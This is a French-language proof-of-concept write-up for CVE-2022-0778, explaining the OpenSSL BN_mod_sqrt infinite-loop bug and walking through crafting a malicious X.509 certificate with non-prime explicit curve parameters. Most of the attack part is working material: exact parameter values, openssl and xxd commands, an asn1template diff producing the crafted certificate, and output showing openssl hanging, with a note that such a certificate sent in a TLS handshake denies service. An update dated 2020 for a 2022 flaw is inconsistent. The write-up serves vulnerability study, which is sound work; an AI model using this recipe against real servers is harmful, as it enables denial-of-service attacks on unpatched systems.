
Preuve de concept d'exploitation pour CVE-2022-0778, démontrant une boucle infinie dans BN_mod_sqrt d'OpenSSL via un certificat X.509 conçu avec des paramètres de courbe non premiers, permettant des attaques par déni de service.
La vulnérabilité découverte déclenche une boucle infinie dans la fonction BN_mod_sqrt() d'OpenSSL lors de l'analyse d'une clé de courbe elliptique. Cela signifie qu'un certificat X.509 malveillant peut provoquer un déni de service sur tout serveur non corrigé.
Le cœur de la vulnérabilité se situe dans l'analyse des clés EC dont les points sont au format compressé : lors de l'analyse de ce type de clés, OpenSSL tente de décompresser le point compressé, en essayant de calculer une racine carrée modulo le nombre premier p sur lequel la courbe est définie. Cependant, la primalité de p n'est vérifiée nulle part, pas même dans BN_mod_sqrt() pour laquelle c'est pourtant une exigence ; ainsi, un bogue dans l'implémentation provoque une boucle infinie parce que p n'est pas premier comme attendu.
Une explication en chinois est disponible sur mon blog OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造
BN_mod_sqrt()Le prérequis est d'avoir installé gcc et une version vulnérable d'OpenSSL.
Pour le bogue dans BN_mod_sqrt() : compilez avec gcc -o my_bad_sqrt my_bad_sqrt.c -lcrypto, exécutez ./my_bad_sqrt et regardez-le se bloquer pour toujours ! :D
Avec un certificat : exécutez openssl x509 -in certs/cert.der.new -inform DER -text -noout en ligne de commande ; cela se bloque également.
La fonction BN_mod_sqrt() implémente l'algorithme de Tonelli-Shanks pour trouver une racine carrée modulaire, c'est-à-dire que, étant donné un entier a et un nombre premier p, elle retourne une valeur r telle que r^2 == a (mod p).
En analysant le commit qui corrige la vulnérabilité, on voit que le coupable est la boucle qui trouve le plus petit indice i tel que b^(2^i)==1 (mod p), où b est défini plus haut dans l'algorithme.
La boucle passe de
i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
while (!BN_is_one(t)) {
i++;
if (i == e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
à
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}
Dans le second cas, il y a une boucle for limitée par la variable e ; dans le code d'origine, il n'y a cependant qu'une vérification du cas i==e à l'intérieur d'une boucle while.
Comme ces boucles sont à l'intérieur d'une boucle plus grande qui, à chaque itération, définit la nouvelle valeur de e comme étant la valeur courante de i, nous essayons la stratégie d'attaque suivante :
i=1 à la fin ; pour cela, nous avons besoin que b^2=1 (mod p).e=1, et si nous pouvons entrer dans la boucle interne, la vérification i==e échouera toujourst != 1 (mod p), nous resterons alors dans la boucle pour toujoursNotez que les deux premières étapes peuvent en réalité se produire lors d'une exécution « normale », c'est-à-dire avec un nombre premier p. Cependant, si p est composé, nous pouvons également satisfaire la troisième étape !
L'algorithme de Tonelli-Shanks fonctionne en écrivant p - 1 = 2^e * q, avec q impair. C'est aussi l'ordre du groupe multiplicatif des entiers modulo p, et les valeurs e et q seront utilisées de nombreuses fois pendant l'exécution ; cependant, si p n'est pas premier, l'ordre du groupe multiplicatif ne sera pas p-1, ce qui nous aidera à entrer dans la boucle infinie.
En particulier, b est initialisé comme b = a^q (mod p), ce qui signifie que si p était premier, alors b aurait pour ordre une puissance de 2, que nous trouverons ensuite en utilisant la boucle.
Mais si nous posons p = r * s, l'ordre du groupe multiplicatif est (r-1)*(s-1) = r*s - r - s + 1 au lieu de r*s-1. L'algorithme utilise la valeur q pour obtenir un élément y d'ordre exactement 2^e ; cependant, lorsque p n'est pas premier, la valeur q n'aura pas de signification particulière pour l'ordre, donc l'élément y n'aura pas un ordre qui soit une puissance de deux modulo p=r*s.
Comme à la fin de la première boucle externe b est défini comme b = b*y^(e-i) (mod p), à sa seconde itération la boucle interne essaiera de trouver une valeur i telle que b^(2^i) == 1 (mod p), mais échouera étant donné que y n'est plus garanti d'avoir un ordre qui soit une puissance de deux.
Les nombres dans l'exploit sont très simples : nous prenons r=17,s=41, ce qui donne p=r*s=697. Cela signifie que les valeurs calculées de e et q seront p-1 = 2^3 * 87.
Nous choisissons ensuite a=696, ce qui signifie que a == -1 (mod p) et aussi b == -1 (mod p) lors de l'initialisation. Cela satisfera l'étape 1 en définissant e=1 pour la boucle externe suivante.
Ensuite, b sera défini comme un élément dont l'ordre n'est pas une puissance de 2, et la boucle interne restera bloquée à essayer de trouver un i tel que b^(2^i)==1 (mod p).
OK, maintenant fabriquons un certificat dangereux qui contient des paramètres de courbe explicites invalides avec un point de base encodé sous forme compressée.
Les fichiers de cette section se trouvent dans le dossier certs.
Tout d'abord, nous devons créer une clé privée EC. Comme nous voulons un certificat cible avec des paramètres de courbe explicites, la clé doit également contenir des paramètres de courbe explicites.
$ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed
Ensuite, pour plus de commodité, nous avons auto-signé un certificat et l'avons sorti au format DER.
$ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"
Vérifions les informations du certificat. Il contient des paramètres de courbe explicites comme prévu.
$ openssl x509 -in cert.der -text -noout -inform DER
...
Field Type: prime-field
Prime:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff
A:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fc
B:
5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
60:4b
Generator (compressed):
03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
98:c2:96
Order:
00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
63:25:51
...
Maintenant, nous devons modifier les valeurs de ces paramètres : Prime, A, B, Generator. Ils satisfont l'équation ci-dessous
où p est le Prime, a est le paramètre A et b est le paramètre B. p, a, b déterminent ensemble une courbe. Décompresser un point signifie calculer la coordonnée Y à partir de la coordonnée X correspondante.
Évidemment, l'opération de racine carrée modulaire doit être utilisée, ce qui fera appel à BN_mod_sqrt().
Sur la base des travaux de drago-96, nous prenons p=697, x^3+ax+b=696. Ensuite, il suffit de choisir des valeurs appropriées pour a, b, x qui satisfont la seconde équation. Nous prenons x=8, a=23, b=0 ici.
OK, nous pouvons maintenant commencer à nous attaquer au certificat. Éditer la structure ASN.1 manuellement est vraiment pénible. J'ai utilisé l'outil xxd pour transformer le certificat au format hexadécimal, puis je l'ai édité avec vim. Une fois l'édition terminée, je l'ai retransformé avec xxd -r.
$ cp cert.der cert.der.old
$ xxd cert.der cert.der.hex
$ cp cert.der.hex cert.der.hex.old
$ vim cert.der.hex
# edit cert.der.hex
# ...
# complete
$ xxd -r cert.der.hex cert.der.new
Je n'ai pas trouvé d'outil plus pratique. Si quelqu'un connaît un tel outil, merci d'être généreux dans vos commentaires.
Les étapes de fabrication sont approximativement les suivantes :
ASN1_INTEGER, le Prime ne doit pas contenir d'octets zéro en tête, donc nous devons changer la longueur de Prime.xxd -r. Éliminez-le.Maintenant, regardons la structure ASN.1 du certificat normal. Les parties marquées par une ligne rouge doivent être modifiées.
$ openssl asn1parse -in cert.der -inform DER -i

Les longueurs avant et après modification sont listées comme suit :
| de (déc) | de (hex) | à (déc) | à (hex) |
|---|---|---|---|
| 549 | 225 | 488 | 1e8 |
| 460 | 1cc | 399 | 18f |
| 266 | 10a | 205 | cd |
| 227 | e3 | 166 | a6 |
| 215 | d7 | 154 | 9a |
| 44 | 2c | 13 | 0d |
| 33 Prime | 21 | 2 | 02 |
| 33 Generator | 21 | 3 | 03 |
Mis à jour le 2020-03-21 :
Une manière beaucoup plus simple est d'utiliser l'outil asn1template écrit par wllm-rbnt.
Clonez le dépôt :
$ git clone https://github.com/wllm-rbnt/asn1template.git
Générez un modèle DER à partir de ce certificat :
$ ./asn1template/asn1template.pl cert.der > cert.tpl
Ensuite, modifiez les paramètres que nous venons de mentionner ci-dessus :
diff cert.tpl cert_new.tpl
46c46
< field32 = FORMAT:HEX,OCTETSTRING:036B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
---
> field32 = FORMAT:HEX,OCTETSTRING:030008
51c51
< field36 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
---
> field36 = INTEGER:0x2B9
53,54c53,54
< field37 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
< field38 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
---
> field37 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017
> field38 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000
Convertissez-le à nouveau en ASN1 encodé DER avec ASN1_generate_nconf(3) :
$ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der
Le résultat cert_new.der est équivalent à la version éditée manuellement.
Nous avons donc maintenant fabriqué avec succès un certificat invalide. Regardons la nouvelle structure ASN.1
$ openssl asn1parse -in cert.der.new -inform DER -i

Toutes les parties rouges ont été modifiées, et le certificat peut être correctement décodé en DER.
Maintenant, essayons d'analyser le certificat. Le processus entrera dans la boucle infinie si tout se passe comme prévu.
openssl x509 -in cert.der.new -inform DER -text -noout

Comme on le voit, le %CPU du processus openssl est de 100, et la pile d'appels se trouve dans BN_mod_sqrt().
Si un attaquant malveillant envoie un tel certificat fabriqué lors d'une poignée de main SSL avec le serveur, le serveur entrera dans la boucle infinie, ce qui provoque une attaque par déni de service.
Nous allons essayer de fabriquer un certificat en utilisant la bibliothèque C libcrypto d'OpenSSL.
Comme nous l'avons vu, nous devons utiliser une courbe avec un corps de base non premier et encoder les points sous forme compressée, afin de rencontrer le bogue dans BN_mod_sqrt() lors de l'analyse.
Cela peut être fait en définissant y^2 = x^3 + 1*x + 694 (mod 697) comme courbe, avec (1, 132) comme générateur ; cela appellera BN_mod_sqrt() avec exactement les mêmes paramètres que my_bad_sqrt.
L'exécution de gcc -o my_bad_group my_bad_group.c -lcrypto && ./my_bad_group générera le fichier my_bad_group.der qui contient les paramètres EC au format DER.
Essayer d'analyser ces paramètres avec OpenSSL aboutira à la boucle infinie : openssl ecparam -in my_bad_group.der -inform der.
... WIP ...